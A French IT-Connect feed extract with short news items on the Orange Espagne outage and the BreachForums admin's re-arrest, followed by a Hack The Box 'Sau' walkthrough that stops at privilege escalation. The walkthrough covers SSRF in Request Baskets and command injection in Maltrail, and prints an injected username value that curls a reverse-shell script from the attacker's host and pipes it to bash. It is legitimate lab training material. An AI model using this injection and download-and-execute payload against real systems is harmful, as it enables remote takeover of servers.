<p>Même si nous ignorons l'impact réel de cette attaque et ses conséquences, Orange Espagne tient à rassurer ses clients : "<em>Nous confirmons qu'en aucun cas les données de nos clients n'ont été compromises, seule la navigation de certains services a été affectée.</em>", peut-on <a href="https://twitter.com/orange_es/status/1742616778348376350" target="_blank" rel="noopener nofollow" title="">lire sur X</a>.</p>



<p><a href="https://www.bfmtv.com/tech/actualites/telecoms/comment-un-mot-de-passe-faible-a-ruine-le-reseau-mobile-d-orange-en-espagne_AV-202401050469.html" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/piratage-orange-espagne-acces-a-internet-perturbe-mot-de-passe-faible/">Piratage d’Orange Espagne : l’accès à Internet perturbé… à cause d’un mot de passe faible !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=74273
uri: Retour-en-prison-pour-l-admin-de-BreachForums-car-il-n-a-pas-respe
title:
Retour en prison pour l’admin de BreachForums car il n’a pas respecté les règles de sa liberté provisoire !

url:
https://www.it-connect.fr/retour-en-prison-pour-admin-breachforums-non-respect-regles-de-sa-liberte-provisoire/

content:
<p><strong>Nouvelle arrestation pour celui que l'on surnomme Pompompurin et qui est l'administrateur du célèbre forum de hacking BreachForums ! Pourquoi ? Et bien parce qu'a n'a pas respecté les règles associées à sa liberté provisoire en utilisant un ordinateur non surveillé et une connexion VPN.</strong></p>



<p>Le 15 mars 2023, <a href="https://www.it-connect.fr/vente-de-donnees-piratees-ladministrateur-du-site-breachforum-a-ete-arrete-par-le-fbi/" title="Vente de données piratées : l’administrateur du site BreachForum a été arrêté par le FBI !">Conor Fitzpatrick a été arrêté pour la première fois</a> par le FBI, et il avait affirmé qu'il était bien connu sous le nom de Pompompurin, c'est-à-dire l'administrateur du forum BreachForums. Il avait lancé le site BreachForums en réponse à la fermeture du forum RaidForums, un an plus tôt.</p>



<p>En tant qu'administrateur de BreachForum,<strong> il jouait un rôle clé dans les transactions</strong> puisqu'il s'assurait que l'acheteur de données piratées allait bien obtenir le jeu de données promis par le vendeur. Autrement dit, il s'assurait qu'il ne s'agissait pas d'une fausse petite annonce...</p>



<p>De ce fait, Pompomurin était un membre important présent depuis plusieurs années sur la scène cybercriminelle...Pourtant, <strong>il avait été libéré seulement un jour après son arrestation en payant une caution de 300 000 dollars, et à condition de respecter diverses règles</strong>. Par exemple, il avait l'interdiction de se connecter à BreachForums ou d'avoir des contacts avec des membres de ce forum.</p>



<p>Par la suite,<strong> le tribunal a fait ajouter de nouvelles conditions supplémentaires</strong> qu'il doit respecter afin de continuer à bénéficier de cette liberté provisoire. Dans <a href="https://www.documentcloud.org/documents/24254517-additional-pre-trial-release-conditions" target="_blank" rel="noopener nofollow" title="">ce document</a> officiel, nous pouvons trouver les différentes règles. </p>



<p><strong>Conor Fitzpatrick a le droit d'utiliser un ordinateur ou d'accéder à Internet uniquement si l'appareil est équipé d'un logiciel de surveillance installé par les autorités américaines. </strong>"<em>Le logiciel peut restreindre et/ou enregistrer toute activité sur l'ordinateur, y compris la saisie de frappes, d'informations sur les applications, de l'historique de l'utilisation d'Internet, de la correspondance par courrier électronique et des conversations par chat.</em>", précise le document. Sur Internet, il y a certaines catégories de site qu'il n'a pas le droit de visiter. Par ailleurs, <strong>il a l'interdiction de chercher à masquer son identité, notamment en utilisant un <a class="wpil_keyword_link" href="https://www.it-connect.fr/les-tunnels-vpn-pour-les-debutants/" target="_blank" rel="noopener" title="VPN" data-wpil-keyword-link="linked">VPN</a>, le réseau Tor ou encore des proxys</strong>.</p>



<p>Toutefois, Conor Fitzpatrick a joué avec le feu et il s'est brulé : <strong>il a été arrêté le 2 janvier 2024 pour avoir violé les conditions de sa liberté provisoire</strong>. Désormais, Fitzpatrick est placé en détention et il y restera jusqu'à ce qu'il soit présenté à un tribunal du district oriental de Virginie.</p>



<p><a href="https://www.bleepingcomputer.com/news/security/breachforums-admin-jailed-again-for-using-a-vpn-unmonitored-pc/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/retour-en-prison-pour-admin-breachforums-non-respect-regles-de-sa-liberte-provisoire/">Retour en prison pour l’admin de BreachForums car il n’a pas respecté les règles de sa liberté provisoire !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73308
title: Hack The Box – Résoudre la box Sau : outils, méthodes et recommandations pour se protéger
uri: Hack-The-Box-Résoudre-la-box-Sau-outils-méthodes-et-recommand
url:
https://www.it-connect.fr/hack-the-box-resoudre-la-box-sau-outils-methodes-et-recommandations-pour-se-proteger/

content:
<p><strong>Dans cet article, je vous propose la résolution de la machine Hack The Box "Sau", de niveau de difficulté "Facile"</strong>.</p>



<ul>
<li><a href="https://www.hackthebox.com/machines/sau" target="_blank" rel="noopener nofollow" title="">Hack The Box - Sau</a></li>
</ul>


<div class="wp-block-image">
<figure class="alignright size-full is-resized"><img fetchpriority="high" decoding="async" width="680" height="557" src="media/8617f60a.hackthebox-writeup-sau.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau.png" alt="" class="wp-image-73356" style="width:393px;height:auto" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau.png 680w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-550x451.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-150x123.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-50x41.png 50w" sizes="(max-width: 680px) 100vw, 680px" /></figure></div>


<p>Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelés "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le <strong>compte root ou administrateur.</strong></p>



<p>Ces exercices permettent de s’entraîner <strong>légalement sur des environnements technologiques divers</strong> (Linux, Windows, Active directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (<strong>attaquants comme défenseurs</strong>) et sont très formateurs. <img src="media/3fc8b120.1f642.png" data-original-source="https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<p>Je vais vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant <strong>autant de conseils et ressources que possible</strong>. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.</p>



<p class="has-text-align-center"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">Cette solution est publiée en accord avec <a href="https://app.hackthebox.com/rules" target="_blank" rel="noreferrer noopener">les règles d'HackThebox</a> et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".</mark></p>



<figure class="wp-block-table"><table><tbody><tr><td><strong>Technologies/attaques abordées</strong></td><td>Linux, web, Server-Side Request Forgery (SSRF), Remote Command Execution (RCE)</td></tr><tr><td><strong>Outils utilisés</strong></td><td>nmap, BurpSuite, sudo</td></tr></tbody></table></figure>



<p>Précédemment, nous avions vu comment résoudre la box Pilgrimage :</p>



<ul>
<li><a href="https://www.it-connect.fr/hack-the-box-resoudre-la-box-pilgrimage-outils-methodes-et-recommandations-pour-se-proteger/" target="_blank" rel="noopener" title="Hack The Box – Résoudre la box Pilgrimage : outils, méthodes et recommandations pour se protéger">Hack The Box - Résoudre la box Pilgrimage</a></li>
</ul>



<h2 class="wp-block-heading">II. Résolution de la box Sau</h2>



<h3 class="wp-block-heading">A. Découverte et énumération</h3>



<p>Pour l'instant, nous ne disposons que de l'adresse IP de notre cible. Commençons par un scan réseau à l'aide de l'outil <a href="https://nmap.org/" target="_blank" rel="noopener nofollow" title="">nmap</a> pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.</p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1046/" target="_blank" rel="noopener nofollow" title="">T1046 - Network Service Discovery</a></p>



<pre class="wp-block-code"><code>$ nmap --max-retries 1 -T4 -sS -A -v --open -p- -oA nmap-TCPFullVersion 10.10.11.224          
PORT      STATE SERVICE VERSION       
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)         
55555/tcp open  unknown    
|   GetRequest: 
|     HTTP/1.0 302 Found   
|     Content-Type: text/html; charset=utf-8     
|     Location: /web       
|     Date: Mon, 21 Aug 2023 19:30:01 GMT        
|     Content-Length: 27   
|     href="/web"&gt;Found&lt;/a&gt;.          </code></pre>



<p>La surface d'attaque du serveur est composée d'un service d'administration SSH et d'un service en écoute sur le port <strong>TCP/55555</strong>. D'après les premières prises d'empreinte réalisées par <strong>nmap</strong>, il semble que celui-ci soit un service web exposant notamment un point d'entrée <strong>/web</strong>. L'accès à ce service web via navigateur nous permet très rapidement d'identifier l'application web utilisée, mais aussi sa version !</p>


<div class="wp-block-image">
<figure class="aligncenter size-full is-resized"><img decoding="async" width="733" height="577" src="media/f071769c.hackthebox-writeup-sau-version.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version.png" alt="" class="wp-image-73392" style="width:537px;height:auto" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version.png 733w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-550x433.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-150x118.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-50x39.png 50w" sizes="(max-width: 733px) 100vw, 733px" /></figure></div>


<p>Visiblement cette application permet de créer des collections et d'inspecter des requêtes HTTP (à l'image des services en ligne tel que <strong>requestbin</strong>). Quelques recherches Google nous permettent de découvrir que cette version de <strong>Request Baskets</strong> est vulnérable à une attaque SSRF, ou <em>Server-Side Request Forgery</em>. </p>


<div class="wp-block-image">
<figure class="aligncenter size-full is-resized"><img decoding="async" width="728" height="598" src="media/63519fb9.hackthebox-writeup-sau-version-cve.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-cve.png" alt="" class="wp-image-73393" style="width:555px;height:auto" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-cve.png 728w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-cve-550x452.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-cve-150x123.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-cve-50x41.png 50w" sizes="(max-width: 728px) 100vw, 728px" /></figure></div>


<p>Ce type d'attaque nous permet, à travers la manipulation des paramètres ou en-têtes envoyés à l'application web, <strong>de forcer le serveur à émettre une requête vers un service de notre choix</strong>, et parfois de visualiser la réponse qu'il a obtenue. <strong>Qu'est-ce qu'un attaquant peut faire de cela </strong>? Après tout, les serveurs comme tout système connecté, émettent des requêtes HTTP, DNS, et autres, et cela continuellement. Généralement, <strong>les impacts des SSRF peuvent être multiples</strong> :</p>



<ul>
<li><strong>Forcer le serveur à se connecter sur l'un de nos services en ligne</strong>, ce qui nous permettra d'obtenir son IP (intéressant si le système est caché derrière un CDN), mais aussi des informations techniques comme le <em>user-agent</em> utilisé (et peut être une version de Python, curl ou autre) ;</li>



<li>Aller <strong>requêter les services voisins du serveur qui nous ne sont pas directement joignables,</strong> comme son service de base de données, ou le réseau interne de l'entreprise ;</li>



<li>Effectuer une <strong>énumération locale des services exposés</strong>, puisque c'est le serveur qui émet la requête, il a accès à des services locaux qui ne sont pas exposés sur l'extérieur ;</li>



<li><strong>Contourner une authentification</strong> sur l'application web elle-même, lorsqu'une requête provient de localhost, certains mécanismes d'authentification sautent ;</li>



<li>etc.</li>
</ul>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="428" src="media/bb33319a.hackthebox-writeup-sau-version-ssrf-800x428.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-ssrf-800x428.png" alt="" class="wp-image-73404" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-ssrf-800x428.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-ssrf-550x294.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-ssrf-150x80.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-ssrf-768x411.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-ssrf-50x27.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-ssrf.png 823w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p><em>Source de l'image : <a href="https://portswigger.net/web-security/ssrf" target="_blank" rel="noopener nofollow" title="">portswigger.net</a>.</em></p>



<p>Nous voyons qu'en changeant la source d'une requête, nous pouvons utiliser notre serveur cible pour faire bien des choses. Cette liste n'est évidemment pas exhaustive, l'impact et l'exploitation dépendent également du contexte d'exploitation. Je vous oriente vers les ressources suivantes (très complètes) pour obtenir plus d'informations sur les SSRF :</p>



<ul>
<li>OWASP - <a href="https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html" target="_blank" rel="noopener nofollow" title="OWASP - Server-Side Request Forgery Prevention Cheat Sheet">Server-Side Request Forgery Prevention Cheat Sheet</a></li>



<li>OWASP Testing Guide <a href="https://owasp.org/www-community/attacks/Server_Side_Request_Forgery" target="_blank" rel="noopener nofollow" title="OWASP Testing guide - Testing for Server-Side Request Forgery">- Testing for Server-Side Request Forgery</a></li>



<li>PortSwigger Web Security Academy<a href="https://portswigger.net/web-security/ssrf" target="_blank" rel="noopener nofollow" title="PortSwigger Web Security Academy - Server Side Request Forgery"> - Server Side Request Forgery</a></li>
</ul>



<h3 class="wp-block-heading">B. Exploitation web : SSRF</h3>



<p>Nous pouvons obtenir des détails techniques sur la vulnérabilité en <strong>regardant attentivement</strong> le PoC en ligne : <a href="https://packetstormsecurity.com/files/download/174128/requestsbaskets121-ssrf.txt" target="_blank" rel="noopener nofollow" title=""><strong>Request-Baskets 1.2.1 Server-Side Request Forgery</strong></a></p>



<blockquote class="wp-block-quote">
<p>En cybersécurité, le terme "PoC" fait référence à "<strong>Proof of Concept</strong>" (preuve de concept). Il s'agit d'une démonstration pratique visant à prouver qu'une vulnérabilité particulière peut être exploitée. La plupart du temps, <strong>les PoC sont des scripts d'exploitation simples</strong> ou la description d'une suite d'opérations à mener sur une cible donnée et permet de reproduire la vulnérabilité découverte.</p>
</blockquote>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1190/" target="_blank" rel="noopener" title="￼T1190 - Exploit Public-Facing Application"></a><a href="https://attack.mitre.org/techniques/T1046/" target="_blank" rel="noreferrer noopener"></a><a href="https://attack.mitre.org/techniques/T1190/" target="_blank" rel="noopener" title="T1190 - Exploit Public-Facing Application">T1190 - Exploit Public-Facin</a><a href="https://attack.mitre.org/techniques/T1190/" target="_blank" rel="noopener nofollow" title="T1190 - Exploit Public-Facing Application">g</a><a href="https://attack.mitre.org/techniques/T1190/" target="_blank" rel="noopener" title="T1190 - Exploit Public-Facing Application"> Application</a></p>



<p>Si l'on étudie ce PoC, nous voyons notamment que l'exploitation de la SSRF passe par l'injection dans <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">le paramètre <strong>forward_url</strong> d'une URL cible</mark> (celle que l'on souhaite faire requêter par le serveur) lors de la <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-cyan-blue-color">création d'un bucket </mark>:</p>


<div class="wp-block-image">
<figure class="aligncenter size-large is-resized"><img decoding="async" width="800" height="721" src="media/94f47c5f.hackthebox-writeup-sau-version-poc-ssrf-800x721.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-poc-ssrf-800x721.png" alt="" class="wp-image-73395" style="width:702px;height:auto" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-poc-ssrf-800x721.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-poc-ssrf-550x496.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-poc-ssrf-150x135.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-poc-ssrf-768x692.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-poc-ssrf-50x45.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-poc-ssrf.png 812w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Plutôt que d'utiliser le script, je décide de générer moi-même une requête malveillante basée sur ces informations à l'aide de mon navigateur et d'un proxy local (BurpSuite).</p>



<blockquote class="wp-block-quote">
<p>Un proxy local est un serveur intermédiaire situé localement sur votre machine, i<strong>l se positionne entre le client (navigateur) et le serveur web</strong> pour intercepter les échanges HTTP, les rejouer, les stocker ou les modifier. Il s'agit d'un outil indispensable aux tests d'intrusion web, mais peut aussi être utilisé pour du debug puisqu'<strong>il permet d'étudier précisément tous les échanges, de voir les paramètres, les en-têtes</strong>, etc.<br><br>Pour l’utiliser, il faut bien sûr installer et démarrer la solution (BurpSuite Community ou OWASP ZAP), puis configurer le proxy de son navigateur vers le port du proxy local (souvent 127.0.0.1:8080).</p>
</blockquote>



<p>Le paramètre <strong>forward_url</strong> va tout simplement rediriger la requête provenant du client vers la page indiquée, le serveur agira alors comme un proxy. Voici à quoi ressemble la requête malveillante au sein de BurpSuite :</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="363" src="media/60e09a19.hackthebox-writeup-sau-version-ssrf-exploitation-2-800x363.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-ssrf-exploitation-2-800x363.png" alt="" class="wp-image-73408" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-ssrf-exploitation-2-800x363.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-ssrf-exploitation-2-550x250.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-ssrf-exploitation-2-150x68.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-ssrf-exploitation-2-768x349.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-ssrf-exploitation-2-50x23.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-ssrf-exploitation-2.png 813w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Ici, je cible le service <strong>http://127.0.0.1:80</strong> après plusieurs tentatives infructueuses d'exploitation sur d'autres services externes ou internes. L'idée est de faire requêter par le serveur son service en écoute sur le port 80. Ce dernier n'est pas joignable depuis l'extérieur si l'on regarde le résultat de notre scan réseau, mais il semble tout de même en écoute locale. Je peux ensuite me rendre sur la collection créée : </p>


<div class="wp-block-image">
<figure class="aligncenter size-large is-resized"><img decoding="async" width="800" height="517" src="media/26383288.hackthebox-writeup-sau-version-ssrf-exploitation-1-800x517.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-ssrf-exploitation-1-800x517.png" alt="" class="wp-image-73409" style="width:475px;height:auto" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-ssrf-exploitation-1-800x517.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-ssrf-exploitation-1-550x355.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-ssrf-exploitation-1-150x97.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-ssrf-exploitation-1-768x496.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-ssrf-exploitation-1-50x32.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-ssrf-exploitation-1.png 847w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Je génère ensuite une requête vers la collection, ce qui va activer l'exploitation de la SSRF et faire en sorte que le serveur requête son service interne sur le port TCP/80 :</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="542" height="372" src="media/7cf85207.hackthebox-writeup-sau-version-ssrf-maltrail.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-ssrf-maltrail.png" alt="" class="wp-image-73410" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-ssrf-maltrail.png 542w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-ssrf-maltrail-150x103.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-ssrf-maltrail-50x34.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-ssrf-maltrail-130x90.png 130w" sizes="(max-width: 542px) 100vw, 542px" /></figure></div>


<p>Il y a bien un service web en écoute sur le port TCP/80, et même une application web dont nous obtenons directement la version. À nouveau, qui dit version dit recherche de vulnérabilités connues. Quelques recherches Google nous orientent rapidement vers une vulnérabilité de type RCE (<em>Remote Command Execution</em>) :  <a href="https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/" target="_blank" rel="noopener nofollow" title="Unauthenticated OS Command Injection in stamparm/maltrail in stamparm/maltrail">Unauthenticated OS Command Injection in stamparm/maltrail in stamparm/maltrail</a>.</p>



<h3 class="wp-block-heading">C. Exploitation d'un service caché</h3>



<p><strong>Technique MITRE ATT&amp;CK :</strong> <a href="https://attack.mitre.org/techniques/T1059/004/" target="_blank" rel="noopener nofollow" title="T1059.004 - Command and Scripting Interpreter: Unix Shell">T1059.004 - Command and Scripting Interpreter: Unix Shell</a></p>



<p>Le PoC est ici simple à comprendre, la vulnérabilité touche le point d'entrée <strong>/login</strong>, il faut donc commencer par mettre à jour notre <em>payload</em> SSRF pour que le serveur requête ce point d'entrée <strong>/login </strong>et non plus la racine du service web (<strong>/</strong>) :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="272" src="media/7473c6c9.hackthebox-writeup-sau-version-rce-exploitation-4-800x272.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-rce-exploitation-4-800x272.png" alt="" class="wp-image-73418" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-rce-exploitation-4-800x272.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-rce-exploitation-4-550x187.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-rce-exploitation-4-150x51.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-rce-exploitation-4-768x261.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-rce-exploitation-4-50x17.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-rce-exploitation-4.png 887w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Ensuite, l'injection a lieu dans le paramètre <strong>username</strong>, il faut utiliser un caractère de fin de commande bash ( <strong>;</strong> ) puis insérer notre commande malveillante. Ici, je décide de faire télécharger un script Bash puis de l'exécuter, cela m'évite d'avoir à gérer des caractères spéciaux qui pourraient altérer la requête HTTP :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="245" src="media/3b2a4a6b.hackthebox-writeup-sau-version-rce-exploitation-3-800x245.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-rce-exploitation-3-800x245.png" alt="" class="wp-image-73419" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-rce-exploitation-3-800x245.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-rce-exploitation-3-550x168.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-rce-exploitation-3-150x46.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-rce-exploitation-3-768x235.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-rce-exploitation-3-50x15.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-version-rce-exploitation-3.png 1219w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>L'utilisation du "<strong>|bash</strong>" permet d'exécuter le script téléchargé, sans même qu'il ne soit déposé sur le système. Mon script Bash contient simplement une suite d'instructions me permettant d'avoir un shell distant sur le système cible : un <strong>reverse shell</strong> en tant que l'utilisateur exécutant le service web (<strong>puma</strong>).</p>



<p>Voilà l'impact d'une RCE (R<em>emote Command Execution</em>), <strong>ces vulnérabilités permettent d'avoir une exécution de commande système</strong> et donc de le compromettre. Nous sommes à présent libre de parcourir le système via un shell bash, en s'affranchissant totalement des contraintes de l'application web. Suite à l'obtention d'un shell distant sur le système, nous pouvons nous intéresser au code qui mène à cette vulnérabilité, et notamment au fichier <strong>mailtrail/core/http.py</strong>  qui contient le code relatif à la fonction de login :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="115" src="media/d2f79075.hackthebox-writeup-sau-sudo-code-RCE-800x115.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-sudo-code-RCE-800x115.png" alt="" class="wp-image-73434" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-sudo-code-RCE-800x115.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-sudo-code-RCE-550x79.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-sudo-code-RCE-150x22.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-sudo-code-RCE-768x111.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-sudo-code-RCE-50x7.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-sudo-code-RCE.png 950w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Nous voyons effectivement que le paramètre <strong>username</strong> est inséré sans contrôle préalable dans la fonction <strong>subprocess.check_output</strong>. Cette dernière exécute une commande système et retourne son contenu. En insérant dans notre <strong>username</strong> un caractère de fin de commande (<strong>;</strong>), la commande :</p>



<pre class="wp-block-code"><code>logger -p auth.info -t XX XX password for XX from XX port XX.</code></pre>



<p>devient :</p>



<pre class="wp-block-code"><code>logger -p auth.info -t XX XX password for <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">id;`curl+http://10.10.16.10:8000/revshell.sh|bash`</mark> from XX port XX.</code></pre>



<p>Ici, la commande <strong>logger -p auth.info -t XX XX password for id;</strong> va correctement s'exécuter, mais la deuxième peut paraître incohérente et entraînera une erreur. Cependant, le système va interpréter la substitution de commande (le curl et le bash entre "<strong>`</strong>" ) avant la commande finale, cette exécution avant une éventuelle erreur nous suffit largement pour obtenir notre <em>reverse shell</em>.</p>



<h3 class="wp-block-heading">D. Élévation de privilèges : systemctl et son pager</h3>



<p>Nous avons à présent un premier accès au système, tentons d'obtenir un accès avec un niveau de privilèges plus élevé. Parmi les premières actions de découverte de l'attaquant dans le cadre d'une élévation de privilèges, la récupération des dérogations d'exécution via sudo est assez classique :</p>


<div class="wp-block-image">
